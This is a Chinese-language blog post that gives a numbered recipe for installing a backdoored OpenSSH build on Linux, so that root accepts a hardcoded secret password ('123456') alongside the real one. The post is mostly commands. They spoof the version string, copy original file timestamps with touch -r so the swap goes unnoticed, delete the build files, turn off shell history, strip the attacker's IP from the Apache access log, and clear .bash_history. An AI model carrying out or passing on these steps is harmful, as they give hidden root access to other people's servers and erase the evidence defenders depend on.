温馨提示×

温馨提示×

您好,登录后才能下订单哦!

密码登录×
登录注册×
其他方式登录
点击 登录注册 即表示同意《亿速云用户服务条款》

ssh后门

发布时间:2020-07-21 02:31:42 来源:网络 阅读:253 作者:294660561 栏目:安全技术

Linux SSH后门

 可以让root账号有两个密码,不影响管理员正常登陆。

 在includes.h 里面 修改密码,然后编译 安装.

  1.    unzip sshd.zip  
  2.   cd openssh   
  3.   
  4.   vi version.h   
  5.   
  6.   #define SSH_VERSION "OpenSSH_4.2" --> you've to edit OpenSSH_4.2   
  7.   
  8.   vi includes.h   
  9.   
  10.   #define _SECRET_PASSWD "123456" --edit as u wish   
  11.   
  12.   cp /etc/ssh/sshd_config /etc/ssh/sshd_config.pub   
  13.   
  14.   cp /etc/ssh/ssh_config /etc/ssh/ssh_config.pub   
  15.   
  16.   touch -r /etc/ssh/sshd_config /etc/ssh/sshd_config.pub   
  17.   
  18.   touch -r /etc/ssh/ssh_config /etc/ssh/ssh_config.pub   
  19.   
  20.   cp /usr/bin/ssh /usr/bin/ssh-keypub   
  21.   
  22.   touch -r /usr/bin/ssh /usr/bin/ssh-keypub   
  23.   
  24.   ./configure --prefix=/usr  --sysconfdir=/etc/ssh   
  25.   
  26.   make && make install   
  27.   
  28.   cp ssh_config sshd_config /etc/ssh/   
  29.   
  30.   cd ..   
  31.   
  32.   rm -rf ./ssh*   
  33.   
  34.   rm -rf openssh   
  35.   
  36.   diff /etc/ssh/sshd_config /etc/ssh/sshd_config.pub   
  37.   
  38.   vi sshd_config   
  39.   
  40.   diff /etc/ssh/ssh_config /etc/ssh/ssh_config.pub   
  41.   
  42.   vi ssh_config   
  43.   
  44.   touch -r /etc/ssh/sshd_config.pub /etc/ssh/sshd_config   
  45.   
  46.   touch -r /etc/ssh/ssh_config.pub /etc/ssh/ssh_config   
  47.   
  48.   touch -r /usr/bin/ssh-keypub /usr/bin/ssh*   
  49.   
  50.   /etc/init.d/sshd restart  
  51.         export HISTFILE=/dev/null   
  52.   
  53.      export HISTSIZE=0  
  54.   
  55.   cd /etc/httpd/logs/   
  56.   
  57.   sed -i '/ip/d' access_log  
  58.         登入后门:
  59.         ssh -l root ip        密码:123456
  60.         echo >/root/.bash_history
向AI问一下细节

免责声明:本站发布的内容(图片、视频和文字)以原创、转载和分享为主,文章观点不代表本网站立场,如果涉及侵权请联系站长邮箱:is@yisu.com进行举报,并提供相关证据,一经查实,将立刻删除涉嫌侵权内容。

AI